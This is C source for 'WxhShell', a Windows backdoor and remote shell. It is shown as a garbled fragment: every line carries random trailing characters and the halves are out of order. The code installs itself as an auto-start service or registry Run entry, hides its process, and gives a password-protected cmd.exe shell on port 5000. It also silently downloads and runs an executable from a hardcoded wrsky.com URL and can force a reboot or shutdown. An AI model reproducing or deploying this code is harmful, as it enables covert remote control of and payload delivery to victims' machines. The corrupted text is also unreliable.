    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); obo&1Uv,/  
    if(Boot(SHUTDOWN)) wC CV2tk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u0 y 1  
    else { 2@khSWV  
    closesocket(wsh); 4kl Ao$  
    ExitThread(0); X`JV R"=4  
    } ?*u*de[,  
    break; S6D^3n  
    } +L%IG  
  // 获取shell }]6f+  
  case 's': { f p[,C1U  
    CmdShell(wsh); qCPmbg  
    closesocket(wsh); rHz||jjU  
    ExitThread(0); M 2q"dz   
    break; %,UPJn  
  } Vf $Dnu@}z  
  // 退出 T .n4TmF  
  case 'x': { 1^G{tlA-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,[!LCXp  
    CloseIt(wsh); DjLL|jF  
    break;  L,LNv  
    } M;.ZM<Ga  
  // 离开 W?Ww2Lo%Y  
  case 'q': { >:1P/U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); szmmu*F,U:  
    closesocket(wsh); dl~|Izm  
    WSACleanup(); se9>.}zZN  
    exit(1); j !H^-d}q  
    break; sa&) #Z:  
        } bC6oqF'#  
  } 9`B$V##-L  
  } T+IF}4e d  
hdma=KqZ(  
  // 提示信息 @It>*B yB.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s:>\/[*>0c  
} mUoIJ3fv_,  
  } 5:.{oSy7n  
=O$M_1lp  
  return; kG0Yh2;#  
} c&nh>oN  
p&b5% 4P  
// shell模块句柄 PnYBy| yl  
int CmdShell(SOCKET sock) H17-/|-;0!  
{ .qv'6G  
STARTUPINFO si; 2kh"8oQ  
ZeroMemory(&si,sizeof(si)); m#7*:i&@Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }6u2*(TmD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8|^CK|m6*  
PROCESS_INFORMATION ProcessInfo; (eWPis[  
char cmdline[]="cmd"; 23]Y<->Eu<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OF U/gaO~  
  return 0; {KL5GowH  
} ,  X{>  
Vu8,(A7D%O  
// 自身启动模式 !wz/c M;  
int StartFromService(void) s>n(`?@L  
{ 9pKGr@&   
typedef struct jeUUa-zR3  
{ Wr?'$:  
  DWORD ExitStatus; 7:E!b=o#  
  DWORD PebBaseAddress; K%5"u'  
  DWORD AffinityMask; zZ-\a[F  
  DWORD BasePriority; r(A.<`\   
  ULONG UniqueProcessId; \}0-^(9zd  
  ULONG InheritedFromUniqueProcessId; f58?5(Dc|  
}   PROCESS_BASIC_INFORMATION; 2{|$T2?e  
{Qu"%h.Al  
PROCNTQSIP NtQueryInformationProcess; {R6HG{"IS6  
jNDx,7F-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yHo[{,4itA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GEUg]nw  
%/%UX{8R  
  HANDLE             hProcess; 0E`1HP"b  
  PROCESS_BASIC_INFORMATION pbi; V9NTs8LKc  
k?GD/$1t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iA }vKQ  
  if(NULL == hInst ) return 0; c]k*}W3T  
_ QOZ sEe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $.%rAa_H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fg]?zEa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sBX-X$*N  
^Q<mV*~  
  if (!NtQueryInformationProcess) return 0; Wi. 5Y{  
t<iEj"5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X;F8_+Np  
  if(!hProcess) return 0; I^\&y(LJF  
*XOJnyC_H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R"v 3!P  
nk"NmIf  
  CloseHandle(hProcess); (rtY!<|p  
|OO in]5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WiL2  
if(hProcess==NULL) return 0; "_UdBG  
}n:?7  
HMODULE hMod; >R,'5:Rw  
char procName[255]; U&Wwyu:4i  
unsigned long cbNeeded; pmvT$;7I  
^"\s eS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &C<yfRDu  
jhgX{xc  
  CloseHandle(hProcess); *A'FC|\  
DE$q+j0P  
if(strstr(procName,"services")) return 1; // 以服务启动 g^Yl TB  
>r@.F%  
  return 0; // 注册表启动 Bh`N[\r  
} +avMX&%  
YUU-D(  
// 主模块 X!hIwiA,t  
int StartWxhshell(LPSTR lpCmdLine) E(pF:po  
{ {PU!=IkTS  
  SOCKET wsl; 'wasZ b<^  
BOOL val=TRUE; UB`ToE|Ii  
  int port=0; Df =dt  
  struct sockaddr_in door; YV% 5y1 i  
pW0dB_  
  if(wscfg.ws_autoins) Install(); :e1o<JgPt  
~5 N)f UI\  
port=atoi(lpCmdLine); aVs(EHF  
T  VmH  
if(port<=0) port=wscfg.ws_port; ^[E' 1$D  
Ox!U8g8c  
  WSADATA data; L WoG4s?w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @Hb'8F  
P;[OWSR[d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @:0ddb71  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @!N-RQ&A  
  door.sin_family = AF_INET; _ZB\L^j)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gl %3XdU  
  door.sin_port = htons(port); TcTM]ixr  
9h90huyKF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #m{{a]zm^  
closesocket(wsl); 8M*PML4r  
return 1; rPNb\Ri  
} 63|+2-E2Q  
O%~jop7# 6  
  if(listen(wsl,2) == INVALID_SOCKET) { `vG,}Pt]  
closesocket(wsl); d,vNem-Z*L  
return 1; r[(xj n  
} Lf([dE1  
  Wxhshell(wsl); G0 J4O!3  
  WSACleanup(); c !ZM  
i@5[FC  
return 0; HW4 .zw  
>Iewx Gb>  
} ,Y?sfp  
=\#%j|9N9  
// 以NT服务方式启动 {gA\ph% s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L TV{{Z+  
{ }eQRN<}P  
DWORD   status = 0; 9//+Bh  
  DWORD   specificError = 0xfffffff; W%2 80\h  
v0Dq@Q1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &c(WE RW?-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $mmup|;(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >h2%[j=  
  serviceStatus.dwWin32ExitCode     = 0; uJHu>M}~  
  serviceStatus.dwServiceSpecificExitCode = 0; v[@c*wo  
  serviceStatus.dwCheckPoint       = 0; 02`$OTKz  
  serviceStatus.dwWaitHint       = 0; .#u_#=g?  
)Au6Nf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "vCM}F  
  if (hServiceStatusHandle==0) return; #*$P'r  
(iJ1 ;x  
status = GetLastError(); 5J)=}e  
  if (status!=NO_ERROR) (BxJryXm  
{ "LYh7:0s!k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R3)57OyV  
    serviceStatus.dwCheckPoint       = 0; [XRCLi}  
    serviceStatus.dwWaitHint       = 0; \l"&A  
    serviceStatus.dwWin32ExitCode     = status; %<?0apO  
    serviceStatus.dwServiceSpecificExitCode = specificError; E5el?=,i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bPD`+: A_  
    return; 8(.mt/MR  
  } R+q"_90_  
V}d 9f 2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KTvzOI8  
  serviceStatus.dwCheckPoint       = 0; &mj6rIz  
  serviceStatus.dwWaitHint       = 0; hUQ,z7-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CycUeT  
} fPi3s b`}  
\T]EZ'+O  
// 处理NT服务事件,比如:启动、停止 f\+f o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qu5UVjbE,  
{ L%v^s4@  
switch(fdwControl) ,uw132<b  
{ ONNpiK-  
case SERVICE_CONTROL_STOP: SvN9aD1  
  serviceStatus.dwWin32ExitCode = 0; {U 'd}Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Wy <?O2  
  serviceStatus.dwCheckPoint   = 0; A7! g  
  serviceStatus.dwWaitHint     = 0; 72sD0)?A  
  { 8Y0"Cejq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PiV7*F4qI.  
  } n9pN6,o+  
  return; E_F5(x SA  
case SERVICE_CONTROL_PAUSE: }R3=fbe,\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +$xeoxU>;  
  break; Q'+MFld   
case SERVICE_CONTROL_CONTINUE: ccCzu6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %N;!+ ;F_g  
  break; Tmh(= TB'  
case SERVICE_CONTROL_INTERROGATE: a$"ib  
  break; !3mA 0-!+  
}; I -Xlx<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6:U$w7P0 e  
} -/_L*oYli  
AC O)Dt(Y  
// 标准应用程序主函数 GV)<Q^9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A^ _a3$,0  
{ OA:%lC!  
jENr>$$  
// 获取操作系统版本 O8|5KpXd@  
OsIsNt=GetOsVer(); KZ!3j_pKy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,f}UGd[a  
,+qVu,  
  // 从命令行安装 < B_Vc:Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); K =.%$A  
w;Q;[:y  
  // 下载执行文件 s[8@*/ds  
if(wscfg.ws_downexe) { 2&+#Vsm`V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Auy_K?he]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZcuA6#3B  
} \MxoZ  
P5lqSA{6  
if(!OsIsNt) { H$af /^  
// 如果时win9x,隐藏进程并且设置为注册表启动 =#mTfJ   
HideProc(); kOvDl!^  
StartWxhshell(lpCmdLine); ?JV|dM  
} 6"c1;P!4   
else 'Dvv?>=&  
  if(StartFromService()) mh<=[J,%p  
  // 以服务方式启动 eI1GXQ%  
  StartServiceCtrlDispatcher(DispatchTable); "MIq.@8ra  
else kc/{[ME  
  // 普通方式启动 ;"O&X<BX-  
  StartWxhshell(lpCmdLine); ^Qu iH'  
?ER-25S  
return 0; {]z4k[;.h  
} 9}B`uJ  
/(O$(35  
 g PAX4'  
{;2vmx9  
=========================================== ]"c+sMW  
h^ -. ]Y  
2+Px'U\  
jBaB@LO9G  
!*2%"H*  
dd?x(,"A`  
" 0y&I/2  
{lth+{&L#  
#include <stdio.h> `mye}L2I  
#include <string.h> CG'.:` t  
#include <windows.h> lpH=2l$>?  
#include <winsock2.h> T#pk]c6Q  
#include <winsvc.h> `%3 /   
#include <urlmon.h> DK0.R]&4(  
7bxA]s{m  
#pragma comment (lib, "Ws2_32.lib") T[= S$n -'  
#pragma comment (lib, "urlmon.lib") gyS+9)gY  
X(jVRr_m9  
#define MAX_USER   100 // 最大客户端连接数 2<mW\$  
#define BUF_SOCK   200 // sock buffer DmXcPJ[9  
#define KEY_BUFF   255 // 输入 buffer I\qYkWg7  
K[chjp!$l  
#define REBOOT     0   // 重启 pT?Q#,fh  
#define SHUTDOWN   1   // 关机 yL;M"L  
c9R 5w.t:  
#define DEF_PORT   5000 // 监听端口 UpXz&k  
\7"@RHcihB  
#define REG_LEN     16   // 注册表键长度 y7KzW*>g :  
#define SVC_LEN     80   // NT服务名长度 ~2EHOO{  
e!fqXVEVR  
// 从dll定义API y*{Zbz#{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rl|4S[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [i0Hm)Bd3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k%y9aO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T0)"1D<l  
_Lw OOZj  
// wxhshell配置信息 vIvVq:6_3  
struct WSCFG { l"n{.aL  
  int ws_port;         // 监听端口 >;z<j$;F<  
  char ws_passstr[REG_LEN]; // 口令 iCP/P%  
  int ws_autoins;       // 安装标记, 1=yes 0=no CE15pNss  
  char ws_regname[REG_LEN]; // 注册表键名 +i\&6HGK;-  
  char ws_svcname[REG_LEN]; // 服务名 ]pEV}@7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^\B :R,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kb =@ =Xta  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z ,^9 Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^I KO2Ft  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `IYuz:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b;|55Y  
KYJjwXT28W  
}; ~) ?  
lyCW=nc  
// default Wxhshell configuration y/V%&.$o=  
struct WSCFG wscfg={DEF_PORT, GRy-+#,b"  
    "xuhuanlingzhe", *&AfR8x_z  
    1, {{C`mgC  
    "Wxhshell", ::n;VY2&  
    "Wxhshell", P,ua<B}L  
            "WxhShell Service", bslrqUk_`=  
    "Wrsky Windows CmdShell Service", @H!$[m3  
    "Please Input Your Password: ", g<*BLF  
  1, Ax oD8|  
  "http://www.wrsky.com/wxhshell.exe", @DW[Z`X  
  "Wxhshell.exe" OL7_'2_z.  
    }; ~lEVXea!  
,:+d g(\r  
// 消息定义模块 Ld^GV   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R{,ooxH\J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tweY'x.{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .k TG[)F0b  
char *msg_ws_ext="\n\rExit."; UZ8?[  
char *msg_ws_end="\n\rQuit."; 0iCPi)B  
char *msg_ws_boot="\n\rReboot..."; 1B*WfP~  
char *msg_ws_poff="\n\rShutdown..."; Qr# 1u  
char *msg_ws_down="\n\rSave to "; )pw&c_x  
*%Qn{x  
char *msg_ws_err="\n\rErr!"; s08u @  
char *msg_ws_ok="\n\rOK!"; rzp +:  
,mPnQ?  
char ExeFile[MAX_PATH]; Oo?,fw  
int nUser = 0; 4E44Hzs  
HANDLE handles[MAX_USER]; D[O{(<9  
int OsIsNt; ?}Z1(it0  
E2GGEKrW  
SERVICE_STATUS       serviceStatus; iAY!oZR(WT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \yrisp#`  
K; FW  
// 函数声明 <lr*ZSNY  
int Install(void); H7i$xWs  
int Uninstall(void); 7\o!HMfK  
int DownloadFile(char *sURL, SOCKET wsh); H1!iP$1#V  
int Boot(int flag); SM[Bv9|0  
void HideProc(void); >]'yK!a?  
int GetOsVer(void); 9*6]&:fm  
int Wxhshell(SOCKET wsl); \qsw"B*tv`  
void TalkWithClient(void *cs); L]a`"CH:a$  
int CmdShell(SOCKET sock); TEUY3z[g  
int StartFromService(void); KlK`;cr?  
int StartWxhshell(LPSTR lpCmdLine); U=bEA1*@0  
@|ye qy_:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2?Ye*-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ry};m_BY  
v+6@ cC  
// 数据结构和表定义 N__H*yP  
SERVICE_TABLE_ENTRY DispatchTable[] = !gwjN_ZJ^  
{ 3E}EBJLsZ  
{wscfg.ws_svcname, NTServiceMain}, Dj\e@?Y  
{NULL, NULL} \EbbkN:D  
}; #G9 ad K5  
57F%j3.|/  
// 自我安装 Z?MoJ{.!?R  
int Install(void) x0a.!  
{ 5CAR{|a  
  char svExeFile[MAX_PATH]; gPS&^EdxA  
  HKEY key; M8w5Ob  
  strcpy(svExeFile,ExeFile); }~Q"s2  
h72UwJ2rw  
// 如果是win9x系统,修改注册表设为自启动 4VN aq<8  
if(!OsIsNt) { Z?i /r5F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *cWmS\h|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Lyq[zg8  
  RegCloseKey(key); KsAH]2Q%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F=G{)*Ih  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *X%m@KLIKv  
  RegCloseKey(key); ,1Qd\8N9  
  return 0; 31Cq22"  
    } {5c]Mn"r  
  } jc_\'Gr+[  
} HOt>}x  
else { '#\D]5  
^=cXo<6D  
// 如果是NT以上系统,安装为系统服务 mN0=i(H<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b M;`s5d  
if (schSCManager!=0) %;`>`j5  
{ 7J>Gd  
  SC_HANDLE schService = CreateService (7lBID4  
  ( l#3($QV,  
  schSCManager, oN[Th  
  wscfg.ws_svcname, >=ot8%.!,B  
  wscfg.ws_svcdisp, 2k7bK6=nm  
  SERVICE_ALL_ACCESS, H;<!TX.zD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HU B|bKy  
  SERVICE_AUTO_START, (.K\Jg'Y6j  
  SERVICE_ERROR_NORMAL, \zXlN  
  svExeFile, #nyv+x;  
  NULL, ~#M d"3  
  NULL, xu%'GZ,o9  
  NULL, KB{RU'?f|  
  NULL, j'Y / H5  
  NULL )tZ`K |  
  ); ?4PQQd  
  if (schService!=0) OQ_stE2i  
  { Iyk6=&?j  
  CloseServiceHandle(schService); t[.W$1=  
  CloseServiceHandle(schSCManager); U` R;P-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ru%|}sfd  
  strcat(svExeFile,wscfg.ws_svcname); `ZHP1uQ<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <v]9lw'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4h 5_M8I  
  RegCloseKey(key); $]d*0^J 6  
  return 0; ^Uw[x\%#gD  
    } p|6v~  
  } ~JZ3a0$^  
  CloseServiceHandle(schSCManager); 1r`i]1<H  
}  SVP:D3)  
} \Z5 +$Ij  
)&NAs  
return 1; NlR"$  
} :x>T}C<Y  
#Olg(:\  
// 自我卸载 e]W0xC-  
int Uninstall(void) ?z`MPdO  
{ 2@@l{Y0f6  
  HKEY key; 4yV].2#rl"  
\,W.0#D8v4  
if(!OsIsNt) { A-E+s~U8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q/_#k/R  
  RegDeleteValue(key,wscfg.ws_regname); wuK=6RL  
  RegCloseKey(key); ~bU7QLr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pD`/_-=^h  
  RegDeleteValue(key,wscfg.ws_regname); yM$J52#d#  
  RegCloseKey(key); <Q`&o@I  
  return 0; 9$WJ"]  
  } =v2%Vs\7k  
} 6o}V@UzqV  
} #0 y <a:}R  
else { c cG['7  
Jgx8-\ 8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w[fDk1H)  
if (schSCManager!=0) :uCdq`SaQl  
{ P@ypk^v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tbj=~xYf  
  if (schService!=0) Z}Cqd?_')  
  { TnxKR$Hoh  
  if(DeleteService(schService)!=0) { ~@c-*  
  CloseServiceHandle(schService); g,lY ut  
  CloseServiceHandle(schSCManager);  0%Q9}l#7  
  return 0; hYt7kq!"  
  } >S&U.  
  CloseServiceHandle(schService); wz#[:2  
  } TL-i=\{L:d  
  CloseServiceHandle(schSCManager); e9@(/+  
} R8sck)k'}  
} ^" 6f\  
u*R7zY  
return 1; K^ D82tP  
} a|x8=H  
T&}Ye\%  
// 从指定url下载文件 V:^H4WvL\W  
int DownloadFile(char *sURL, SOCKET wsh) 9`X&,S~e  
{ N=fz/CD)I  
  HRESULT hr;  ]6~k4  
char seps[]= "/"; W7e4pR?w  
char *token; Y}1 P~  
char *file; XL"=vbD  
char myURL[MAX_PATH]; v&0d$@6/U  
char myFILE[MAX_PATH]; >q|Q-I~gs  
az(5o  
strcpy(myURL,sURL); i.@*t IK  
  token=strtok(myURL,seps); _EKF-&Q6  
  while(token!=NULL) <c%n?QK{  
  { zGs|DB  
    file=token; z[ #6-T &  
  token=strtok(NULL,seps); # cWHDRLX  
  } +{>.Sk'$  
_"f<Ol[!  
GetCurrentDirectory(MAX_PATH,myFILE); <q6`~F~|  
strcat(myFILE, "\\"); 0/A-#'>  
strcat(myFILE, file); A~y VYC6l  
  send(wsh,myFILE,strlen(myFILE),0); R 7K  
send(wsh,"...",3,0); wXCyj+XB*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {CP o<lz  
  if(hr==S_OK) 75Fp[Q-  
return 0; -N^ =@Yx)  
else ' o=E!?  
return 1; 22bT3  
@a;sV!S{  
} Yk7"XP[Y  
Vu|dV\N0*  
// 系统电源模块 7+8bL{  
int Boot(int flag) $MT}l  
{ M7 p8^NL  
  HANDLE hToken; NKh,z& _5-  
  TOKEN_PRIVILEGES tkp; m+$/DD^-zl  
&!#2ZJ}{  
  if(OsIsNt) { WB;J1TpM7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,?w!5N;iRO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ![Hhxu  
    tkp.PrivilegeCount = 1; 7K !GK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lm &^tjx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +3?`M<L0  
if(flag==REBOOT) { R#fy60  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) onh?/3l  
  return 0; t'Htx1#Zc[  
} cUM_ncYOP  
else { T g\hx>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @ V5S4E  
  return 0; (\uA AW"  
} 3GINv3_  
  } 7 s-`QdWX  
  else { y[p6y[r*  
if(flag==REBOOT) { Bfn]-]>sD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CRd_}  
  return 0; -&7=uRQk  
} Ps|QW  
else { "o<D;lO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _DrnL}9I7  
  return 0; y3AL)  
} ZpTi:3>  
} 3Pa3f >}-  
])68wqD  
return 1; 9dw0<qw1%  
} ?:JdRnH\  
:7k`R6 2{  
// win9x进程隐藏模块 1J+3a-0  
void HideProc(void) 59/Q*7ZJ  
{ yI *M[0  
q|/!0MU"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {V=vn L--  
  if ( hKernel != NULL ) o] S`+ZcV  
  { .Wh6(LDY(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q%$i@JH`m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M3PVixli3  
    FreeLibrary(hKernel); }kv)IJ  
  } Tu'E{Hw  
+E)e1 :8  
return; `^`9{@~  
} 2}>go^#O/w  
8}J(c=4Gk  
// 获取操作系统版本 .8%vd  
int GetOsVer(void) ?^eJ:  
{ f5N<3m=  
  OSVERSIONINFO winfo; w[M5M2CF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xz="|HD);  
  GetVersionEx(&winfo); BMe72  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) myffYK,  
  return 1; T+3k$G[e/  
  else 3me<~u  
  return 0; $<14JEU  
} XuA0.b%  
@b8X%0B7  
// 客户端句柄模块 ScsWnZ  
int Wxhshell(SOCKET wsl) ^Y#@$c  
{ '|J)ds  
  SOCKET wsh; ,%.:g65%  
  struct sockaddr_in client; d7\k  gh  
  DWORD myID; ;q'DGzh  
37,L**Dgs  
  while(nUser<MAX_USER) C!`>cUhE{  
{ c;nx59w ]q  
  int nSize=sizeof(client); E Gr|BLl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i<0D Z_rub  
  if(wsh==INVALID_SOCKET) return 1; o<~-k,{5P  
m*OLoZVy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "@aq@mY@  
if(handles[nUser]==0) 55(J&q  
  closesocket(wsh); `s#sE.=o  
else ]9dx3<2_I  
  nUser++; t4C<#nfo  
  } <[esA9.]t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [`cdlx?Eh  
fc["  
  return 0; p`pg5R  
} M P_A<F  
`\nON  
// 关闭 socket 70d] d+M|  
void CloseIt(SOCKET wsh) AfuXu@UZ_/  
{ \=$EmHF  
closesocket(wsh); zK[ 7:<  
nUser--; 5/zf x  
ExitThread(0); fpI; `s  
} |C&%S"*+D  
C+ZQB)gn  
// 客户端请求句柄 'nC3:U  
void TalkWithClient(void *cs) "m wl-=  
{ >SY 2LmV'a  
hwEZj`9  
  SOCKET wsh=(SOCKET)cs; (R9QBZP5  
  char pwd[SVC_LEN]; m+;B!4 6  
  char cmd[KEY_BUFF]; \Ac}R'  
char chr[1]; wpAw/-/  
int i,j; LuQ"E4;nY%  
pE$|2v  
  while (nUser < MAX_USER) { >_|Z{:z]d.  
:|*Gnu  
if(wscfg.ws_passstr) { /8 e2dw: \  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s ZlJ/_g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OHx,*}N  
  //ZeroMemory(pwd,KEY_BUFF); }wa}hIqx  
      i=0; fho=<|-  
  while(i<SVC_LEN) { } IIK~d,  
,eZ;8W{G  
  // 设置超时  muK'h`  
  fd_set FdRead; Ec7{BhH)  
  struct timeval TimeOut; !V$6+?2   
  FD_ZERO(&FdRead); "#_)G7W+e  
  FD_SET(wsh,&FdRead); H9oXZSm  
  TimeOut.tv_sec=8; #i}#jMT  
  TimeOut.tv_usec=0; /k4^&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OpWC2t)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 34/]m/2NZK  
lBizC5t!o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (=S"Kvb~#  
  pwd=chr[0]; 7,) 67G;  
  if(chr[0]==0xd || chr[0]==0xa) { )*psDjZ7*  
  pwd=0; -6hu31W  
  break; XhHel|!g:  
  } Ba"^K d`  
  i++; _mIa8K;  
    } Uxj<x`<1x  
%J/fg<W1  
  // 如果是非法用户,关闭 socket 4Zv.[V]iOO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kxr6sO~  
} =8$(i[;6w  
gQ[]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 97:t29N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }QX2 :a  
c<JM1  
while(1) { KZp,=[t  
XwKZv0ub  
  ZeroMemory(cmd,KEY_BUFF); -z>Z0viA  
_rWM]  
      // 自动支持客户端 telnet标准   c5T~0'n  
  j=0; ShEaL&'J  
  while(j<KEY_BUFF) { _G-b L;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kz$6}&uk  
  cmd[j]=chr[0]; ?34EJ !  
  if(chr[0]==0xa || chr[0]==0xd) { vy2*BTU?  
  cmd[j]=0; =,/A\F  
  break; !%Z)eO~Z  
  } P ],)  
  j++; V8KTNt%  
    } FthXFxwx$  
LP0;n\  
  // 下载文件 6.`}&E  
  if(strstr(cmd,"http://")) { !R] CmK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m<,y-bQ*(  
  if(DownloadFile(cmd,wsh)) z1{E:~f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a6 #{2q  
  else p ?Ij-uo"o  
